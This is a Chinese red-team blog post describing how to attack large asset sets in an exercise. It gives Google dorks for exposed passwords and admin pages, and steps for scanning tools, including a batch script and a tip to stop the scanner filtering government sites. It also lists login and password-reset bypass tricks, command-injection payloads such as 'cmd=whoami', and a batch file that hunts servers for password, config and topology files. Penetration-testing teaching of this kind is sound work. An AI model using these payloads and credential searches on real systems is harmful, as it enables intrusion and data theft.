文章正文
1、背景
最近参加了一次攻防演练,因为准备不够充分导致结果差强人意,事实证明,没有一个清晰的思路在这个拼手速的时代是干不过人家的,事后重新梳理总结一下。
其实也没什么新东西,总体大概就是尽可能全面的搜集资产,然后全方位扫描,最后搭配手工扩大战果。
2、收集资产
根据IP收集url 使用棱洞魔改版:https://github.com/lemonlove7/EHole_magic
.ehole.exe fofaext -l ip.txt
ip.txt的话格式最好是xxx.xxx.xxx.xxx:xxx afrog会自动识别扫描
61.*.*.*:9090
61.*.*.*:3389
61.*.*.*:53
61.*.*.*:9000
61.*.*.*:7547
61.*.*.*:1433
61.*.*.*:2000
61.*.*.*:8291
61.*.*.*:554
61.*.*.*:9090
goby全端口扫描
测绘平台收集url https://hunter.qianxin.com/ https://fofa.info/ https://quake.360.cn/
多语法搜索 不同的语法进行资产搜集,搜集的资产会更全面 以 fofa 为例
domain="xxxx.com"
host="xxxx.com"
header="xxxx.com"
cert="xxxx.com"
其他手段 google语法
查找文本内容:site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码
查找后台地址:site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找可注入点:site:域名 inurl:aspx|jsp|php|asp
查找上传漏洞:site:域名 inurl:file|load|editor|Files
找eweb编辑器:site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库:site:域名 filetype:mdb|asp|#
查看脚本类型:site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵:inurl:cms/data/templates/images/index/
各种敏感数据收集:
filetyle:xls inurl:gov username password
inurl:phpmyadmin/main.php intitle:phpmyadmin
filetype:inc inurl:config.inc host
filetype:sql cdb_members inurl:forumdata
filetype:txt inurl:"新建文本文档.txt"密码
inurl:phpinfo.php intitle:"phpinfo()""PHP Version"+"Server API"
filetype:log inurl:log mdb
github *.edu.cn password
3、漏洞扫描
awvs 这里我用的是docker,直接运行下边的命令
docker run -it -d -p 13443:3443 xiaomimi8/docker-awvs-14.7.220401065
这里还要搭配另一个工具来批量添加任务https://github.com/test502git/awvs14-scan 使用前先在config.ini修把url和apikey修改为自己的
nuclei 工具下载地址https://github.com/projectdiscovery/nuclei
nuclei -list urls.txt
xray 下载高级版https://www.iculture.cc/ 被动代理就不说了,这里说下另一种批量主动的方法
# coding:utf-8
import re
import os
import sys
import time
def scan():
file = open("urls.txt")
urls = []
for line in file:
lines = line.strip('n')
urls.append(lines)
file.close()
for url in urls:
name = url.replace('https://', '').replace('http://', '').replace('/', '').replace('n', '').replace(':', '-')
try:
os.mkdir('scan_report')
except:
pass
cmd = 'xray.exe webscan --basic-crawler {0}/ --html-output {1}.html'.format(url.replace('n', ''), './scan_report/' + name)
os.system(cmd.replace('n', ''))
time.sleep(0.2)
if __name__ == "__main__":
scan()
代码保存为urlscan.py
很简单,url放urls.txt里,urls.txt放xray.exe根目录
接下来还要稍微改下xray配置config.yaml 把过滤gov什么的删了或者注释掉
python urlscan.py
结束后会自动生成scan_report目录,结果都保存在里面
afrog 下载地址https://github.com/zan8in/afrog 常用方法,只要中危及以上的漏洞
.afrog.exe -T url.txt -S medium, high, critical
api扫描
urlfind 工具下载地址https://github.com/pingc0y/URLFinder 项目中有详细的使用说明,这里写下我比较常用的
.URLFinder-windows-amd64.exe -s 200 -m 3 -u http://124.71.137.81:8081 -o .
Packer-Fuzzer 工具地址https://github.com/rtcatc/Packer-Fuzzer
4、手工测试
web逻辑漏洞
任意用户注册
可爆破用户名
爆破用户名,密码
用户名注入
万能密码
用户名Xss
修改返回包信息,登入他人账户
修改cookie中的参数,如user,adminid等
HTML源码、JS等查看信息搜集
后台登录参数修改为注册参数/reg、/register、/sign等
密码重置
1.重置一个账户,不发送验证码,设置验证码为空发送请求。
2.发送验证码,查看相应包
3.验证码生存期的爆破
4.修改相应包为成功的相应包
5.手工直接跳转到校验成功的界面
6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
7.重置别人密码时,替换为自己的手机号
8.重置自己的成功时,同意浏览器重置别人的,不发验证码
9.替换用户名,ID,cookie,token参数等验证身份的参数
10.通过越权修改他人的找回信息如手机/邮箱来重置
RCE漏洞
1.url参数,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,可能调用系统命令如curl 示例:
index.php?id=2;}phpinfo();/*
http://www.xxx.com/cmd.php?cmd=whoami
http://xxx.cn/AdminPage/conf/runCmd?cmd=id
2.变量/提交的数据 常见在post包中exec、shell、path等参数 测试payload:
& 不管前后命令是否执行成功都会执行前后命令
&& 具有短路效果。 前面的命令执行成功才能执行后面的命令
| 管道符, 上一条命令的输出,作为下一条命令参数(输入) 。在拼接时,无论左边是false还是true,右边都会执行
|| 具有短路效果。 前面的命令执行不成功才能执行后面的命令
各种框架、cms通用nday https://github.com/MzzdToT/HAC_Bored_Writing
5、横向思路
fscan工具 https://github.com/shadow1ng/fscan/releases/tag/1.8.2
各数据库弱口令扫描
手工测试 通过命令行快速收集服务器网络拓扑、密码等重要文件。
dir /a /s /b "D:*.txt"
dir /a /s /b "D:*pass*"
dir /a /s /b "D:*login*
dir /a /s /b "D:*user*
dir /a /s /b D:\password.txt
dir /a /s /b "D:*.conf" "D:*.ini" "D:*.inc" "D:*.config"
dir /a /s /b "C:*.txt" "C:*.xls*" "C:*.xlsx*" "C:*.docx" | findstr "拓扑"
/C 参数来指定要查找的字符串 但是有双引号的话加不加/C感觉区别不大
dir /a /s /b "C:*.conf" "C:*.ini*" "C:*.inc*" "C:*.config" | findstr /C:"运维"
dir /a /s /b "D:*.txt" "D:*.xls*" "D:*.xlsx*" "D:*.docx" | findstr /C:"密码"
部分命令执行结果
编写成一键式bat
@echo off
set "drive=D:"
dir /a /s /b "%drive%*.txt" >>result.txt
dir /a /s /b "%drive%*pass*" >>result.txt
dir /a /s /b "%drive%*login* >>result.txt
dir /a /s /b "%drive%*user* >>result.txt
dir /a /s /b "%drive%password.txt" >>result.txt
dir /a /s /b "%drive%*.conf" "%drive%*.ini" "%drive%*.inc" "%drive%*.config" >>result.txt
dir /a /s /b "%drive%*.txt" "%drive%*.xls*" "%drive%*.xlsx*" "%drive%*.docx" | findstr "拓扑" >>result.txt
dir /a /s /b "%drive%*.conf" "%drive%*.ini*" "%drive%*.inc*" "%drive%*.config" | findstr /C:"运维" >>result.txt
dir /a /s /b "%drive%*.txt" "%drive%*.xls*" "%drive%*.xlsx*" "%drive%*.docx" | findstr /C:"密码" >>result.txt
echo "find success"
保存为23.bat直接运行即可,最后在result.txt中查看运行结果
https://mzzdtot.github.io/2023/07/20/0710redteam/
author:mzzdtot
技术交流
知识星球
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。(点我了解详情)
学习圈子
交流群
关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)
关注我们
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
回复“资料" 获取 网络安全、渗透测试相关资料文档
点个【 在看 】,你最好看
原文始发于微信公众号(Z2O安全攻防):【红队】|针对大规模资产的攻击思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论